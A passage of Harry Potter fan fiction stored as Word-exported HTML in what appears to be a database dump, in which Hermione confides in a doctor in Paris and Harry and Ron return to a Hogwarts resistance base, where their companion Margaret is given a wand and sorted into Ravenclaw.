style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Here\nHermione, this is for you,&quot; said a voice from behind her.&nbsp; Hermione craned her head around to see Susan\nhanding her a small package.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What\'s\nthis?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;A special\nChristmas treat I\'ve been able to dig up.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh, is it\nChristmas?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Actually,\nits what you British call Boxing Day,&quot; said Susan.&nbsp; Hermione sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I lost track\nof the dates a long time ago,&quot; she said.&nbsp;\n\'Its only been six months since I\'ve last seen Ron or anyone I\nknow.&nbsp; It seems like years ago,\' she\nthought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Susan glanced over\nthe balcony toward the city.&nbsp; &quot;I\nknow what you\'re thinking.&nbsp; You wish\nthat you were spending Christmas with your friends and family.&quot;&nbsp; Hermione nodded and thought of Harry.&nbsp; She dearly wished that it were with Harry\nand the Weasleys that she was spending Christmas.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Susan sighed and\nglanced at the city.&nbsp; &quot;I moved from\nPittsburgh to Paris so that I could set up new horizons with my medical\nfields.&nbsp; Unfortunately, when I had only\nbeen there for a month, the \'darkness\' took over.&nbsp; I immediately joined the resistance John set up here and helped\nthem out with my medical knowledge.&nbsp; My\nfamily back home probably thinks I\'m dead.&quot;&nbsp; Susan chuckled bitterly before she turned to Hermione.&nbsp; &quot;Do you have family?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione shook her\nhead.&nbsp; &quot;My parents died when I was\nfifteen.&nbsp; I have no other\nrelatives.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That must\nhave been very hard to deal with.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;It was.&nbsp; But Harry helped me recover.&nbsp; He knew what it felt like to have no\nparents.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Susan nodded in\nunderstanding.&nbsp; Hermione had told her\nabout the best friend she was in love with.&nbsp;\n&quot;Could you tell me about him?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;He was the\nbravest person I ever knew,&quot; said Hermione.&nbsp; &quot;He was selfless, kind, always put others before him, and\nwas very mischievious.&nbsp; He somehow\nalways made me laugh, and he always comforted me when I was sad.&nbsp; He was famous around where we were from, but\nhe never asked anything in return.&nbsp; And\nhe never used his fame for his own advantages.&nbsp;\nI don\'t think I can remember how many times I\'ve been dragged into his\nadventures, breaking so many rules in the process.&nbsp; He\'d always laugh whenever I scolded him about breaking rules or\nwhenever I had to urge him to do his homework.&nbsp;\nHe always knew how to brighten the day and I love him so\nmuch.&quot;&nbsp; Hermione closed her eyes\nand let a few tears slide down her cheeks.&nbsp;\nNot being with Harry had been a constant ache she had been carrying for\nthe past two years.&nbsp; Not being with\nHarry seemed more like losing a limb than the loss of her legs had seemed to\nher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Susan was amazed\nby the young girl who was talking about her best friend in such a way.&nbsp; She may only be eighteen, but it was clear\nto the doctor that she had already discovered her true love.&nbsp; Hermione sniffed and brushed the tears away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Every night,\nI pray that he would come back.&nbsp; I\nalways believe that just his return would change everything and that it would\nsignal an end to these horrible days.&quot;&nbsp;\nShe offered Susan a watery smile.&nbsp;\n&quot;Harry\'s return is my anchor to hope.&nbsp; So long as I believe that he will come back one day I don\'t fall\ninto despair.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Susan squeezed\nHermione\'s shoulder and smiled.&nbsp;\n&quot;Come back inside.&nbsp; You\'ll\ncatch a cold out here.&quot;&nbsp; She walked\nback inside the palace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione glanced\nup at the sky.&nbsp; \'Please,\' she\nprayed.&nbsp; \'Please bring Harry back to\nus.&nbsp; We need him.&nbsp; I need him.&nbsp;\nPlease.\'&nbsp; She let a tear roll\ndown her eye as she turned her wheelchair around and went back into the\npalace.&nbsp; Little did Hermione know that\nacross the Atlantic, in New York, her prayer had already come true.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I\'m\nsorry!&nbsp; I\'m so sorry!&nbsp; But to make the plot work out, I had to have\nsomething horrible happen to Hermione around the beginning of the fic.&nbsp; How could I do that to her?&nbsp; But of course, in the magic world, who knows\nwhat\'s going to happen.&nbsp; So R/ R please.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 4, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Each one should\nuse whatever gift he has received to serve others, faithfully administering\nGod\'s grace in its various forms.&quot;</i></p>\n\n<i>1 Peter 4:10</i>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Chapter 4:\nReturn to Hogwarts</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Once the sight of\nthe greatest school of witchcraft and wizardry in the world, Hogwarts castle\nwas now the headquarters of the largest resistance organization against\nVoldemort.&nbsp; The leaders of the\nresistance were the former professors of the school as well as a number of\npowerful witches and wizards, and the castle was still the citadel of hope and\ncitadel against the war against the Dark Forces.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">On Christmas Day,\nthe leaders of the resistance were discussing their next course of action\nagainst the Dark Lord.&nbsp; Present in the\nGreat Hall were some of the most powerful wizards and witches on the light\nside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Is everyone\nhere and accounted for?&quot; asked Minerva McGonagall.&nbsp; She was one of the leaders of the Hogwarts\nresistance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;We are all\nhere but I don\'t think we\'re all accounted for,&quot; said Severus Snape\nsounding as oily as usual.&nbsp; He gestured\ntoward Sirius Black who was dozing on the table across from him.&nbsp; Remus Lupin, who was sitting next to Sirius,\nnudged him with his elbow.&nbsp; Sirius\nsprang up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Did we win\nthe war yet?&quot; he asked still half asleep.&nbsp;\nRemus rolled his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Its like I\nalways say,&quot; mumbled Alastar &quot;Mad-eye&quot; Moody.&nbsp; &quot;People don\'t have enough CONSTANT\nVIGILENCE!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Let us begin\nright away,&quot; said McGonagall with her usual no nonsense tone.&nbsp; &quot;Hagrid, have you been able to contact\nthe giants?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Rubeus Hagrid\nstraightened up in his much too small seat.&nbsp;\n&quot;Most of \'em haven\' chosen sides professor,&quot; he said.&nbsp; &quot;But some a \'em went ta You-know-who\'s\nside.&nbsp; I know that at least me cousin,\nFanir went ta the dark side.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">McGonagall\nsighed.&nbsp; &quot;I wonder what Albus would\nsay about that if he were here,&quot; she muttered.&nbsp; She turned to Arthur and Molly Weasley.&nbsp; &quot;Arthur, have you been able to contact some of the muggle\nresistance groups?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Arthur sighed as\nhe pushed his glasses up the bridge of his nose.&nbsp; &quot;Yes, but they haven\'t been to forth coming.&nbsp; Most of them have a deep-rooted fear of\nwizards and frankly, I don\'t blame them.&nbsp;\nIt\'s going to be very hard convincing them to fight along magical\nresistance groups.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">McGonagall was\nabout to say something when the doors suddenly swung open.&nbsp; The members of the resistance all held their\nbreath thinking it was a Death Eater attack, but they all let out a gasp when\nRon Weasley entered leading an 18-year old girl dressed in muggle clothes with\nlong auburn hair.&nbsp; Without a word, Molly\nWeasley ran forward and pulled her son into a strong bear hug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Owe\nMum.&nbsp; You\'re cutting my\ncirculation,&quot; complained Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron where\nhave you been all this time?&quot; scolded Arthur as he pulled Ron into a hug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Er,\nDad.&nbsp; You\'re not going to believe this but\nI was attending a muggle university in New York.&quot;&nbsp; Ron turned to the bashful looking girl right\nnext to him.&nbsp; &quot;Mum, Dad, this is\nMargaret Chapel.&nbsp; Maggie, these are my\nparents.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret made a\npolite curtsey.&nbsp; &quot;Hello Mr.\nWeasley.&nbsp; Mrs. Weasley,&quot; she said a\nlittle shyly.&nbsp; Margaret was completely\nstartled when Molly suddenly pulled her into a fierce hug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Any friend\nof Ron is a friend of the entire Weasley family,&quot; she said.&nbsp; She pulled away from the flustered looking\nMargaret and turned to her son. &nbsp;&quot;Ronald Weasley, you have a lot of explaining to do.&nbsp; What were you thinking, just running off to\nAmerica.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Uh,\nMum.&nbsp; Before you say anything, there\'s\nsomeone else with us.&quot;&nbsp; He and\nMargaret stepped out of the way to allow another man to enter the Great\nHall.&nbsp; All of the Hogwarts resistance\ngasped when Harry Potter walked in.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For about a full\nminute, there was pure silence in the hall.&nbsp;\nThen, Sirius suddenly bounded up, grabbed Harry by the collar, and\nstarted to shake him senseless.&nbsp;\n&quot;Where the hell have been?!&nbsp;\nDo you know how much we needed you here while you were away at God knows\nwhere?&quot; he demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;S...Sirius.&nbsp; Can I have my circulation back?&quot; said\nHarry.&nbsp; Sirius released him.&nbsp; &quot;I\'ll explain everything later.&nbsp; For now, please just accept the fact that\nI\'m back.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sirius stared at\nHarry for a while before he smiled and pulled Harry into a hug.&nbsp; As if the hug was a cue, all of the other\nmembers of the ganged up on Harry, either wishing him a welcome back, or\nscolding him for leaving them without a word.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After all manners\nof explanations on part of Harry and Ron were given, it was decided that\nMargaret would be given a crash course education in magic while the others\nprepared for battle.&nbsp; The first move was\nto get Margaret a wand.&nbsp; Mr. Ollivander\nwas amongst the resistance and with him, his entire stock of wands.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ah yes, Mr.\nWeasley,&quot; said Mr. Ollivander.&nbsp;\n&quot;Fourteen inches, willow, unicorn tail-hair, was it not?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes it\nwas,&quot; said Ron.&nbsp; &quot;We were able\nto get it with prize money my Dad won in a Daily Prophet Draw.&nbsp; It was actually my second wand, but the\nfirst one was a hand me down so it doesn\'t really count.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Mr. Ollivander\nnodded before he turned to Harry.&nbsp;\n&quot;Mr. Potter.&nbsp; Holly, eleven\ninches, and phoenix feather: excellent for dueling.&nbsp; One of the most powerful wands I ever sold, along with its\nbrother.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry nodded and\npulled out his wand.&nbsp; &quot;Still the\nsame one,&quot; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Mr. Ollivander\nturned to Margaret and smiled.&nbsp; &quot;Now\nlets see which wand will chose you, Miss Chapel.&nbsp; Which arm is your wand arm?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret timidly\nlifted her right arm up: Mr. Ollivader scared her out a bit with his eerie\nnature.&nbsp; Mr. Ollivander set the tape\nmeasure on her arm and Margaret jumped a little when she noticed that it was\ntaking measurements on its own.&nbsp; Mr.\nOllivander finally emerged with a wand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Try this,\neight inches, maple, and a single feather of a phoenix.&nbsp; Wave it around.&quot;&nbsp; Margaret took the wand and waved it but\nbefore she was able to bring it down, Mr. Ollivander snatched it out of her\nhand.&nbsp; &quot;No?&nbsp; Well, how about this?&nbsp; Twelve inches, cherry, and dragon heartstring.&quot;&nbsp; Margaret waved it but it was snatched away\nagain.&nbsp; This continued on for another\ncouple of wands, all with no success.&nbsp;\nMargaret started to get worried that no wand would be suitable for\nher.&nbsp; Mr. Ollivander on the other hand\nseemed to be enjoying what he was doing.&nbsp;\n&quot;Tricky customer eh?&quot; said Mr. Ollivander with glee.&nbsp; &quot;Well, maybe this one.&nbsp; Twelve inches, pine, and a single tail hair\nfrom a unicorn.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret took the\nwand timidly.&nbsp; Immediately, she felt\nwand get a little wand and buzz with an electric tingling.&nbsp; She waved the wand around and blue sparks\nshot out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Bravo,&quot;\nsaid Mr. Ollivander while clapping his hands.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;All\nright!&quot; shouted Ron as he made a victory pose.&nbsp; Harry was also beaming.&nbsp;\nMargaret smiled at them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well, let\'s\ngo set up your magical education why not?&quot; said Harry as they made their\nway back to the Great Hall.&nbsp; They met\nMcGonagall there.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well Miss\nChapel, I ask that you brace yourself because we are going to cram in what\nstudents usually learn throughout seven years into a couple of weeks.&nbsp; It is going to be a lot of hard work.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret smiled\nand said, &quot;I\'ll be ready for anything Professor.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">McGonagall nodded\nand said, &quot;Of course it would be a lot easier to work out a curriculum if\nwe could get you sorted.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That would\nbe no problem,&quot; said Harry.&nbsp;\n&quot;Margaret, could you sit on that stool?&quot;&nbsp; Harry pointed to a stool in one of the\ncorners of the room.&nbsp; Margaret shrugged\nand sat on the stool.&nbsp; Harry whipped his\nhat off of his head and placed it on Margaret\'s head.&nbsp; He pulled it down below her eyes and ears.&nbsp; After about a minute of silence, Ron made a\ndouble take when the hat yelled, &quot;RAVENCLAW!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron timidly\npointed at the tattered hat as Harry put it back on his head.&nbsp; &quot;Um, Harry, is that hat...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yep, it\'s\nthe school Sorting Hat,&quot; said Harry.&nbsp;\n&quot;Brilliant companion but can be a bit annoying at times.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;It said that\nI have the strong qualities of a Gryffindor but that my intelligence points\nmore toward Ravenclaw,&quot; said Margaret with a faint smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well, that\nsettles it,&quot; said McGonagall.&nbsp;\n&quot;Miss Chapel, we will begin your training tomorrow.&nbsp; You will learn Transfiguration with me,\nPotions with Professor Snape, Defense against the Dark Arts with Professor\nLupin, Herbology with Professor Sprout, and Charms with Professor\nFlitwick.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'ll make\nyou proud professor,&quot; said 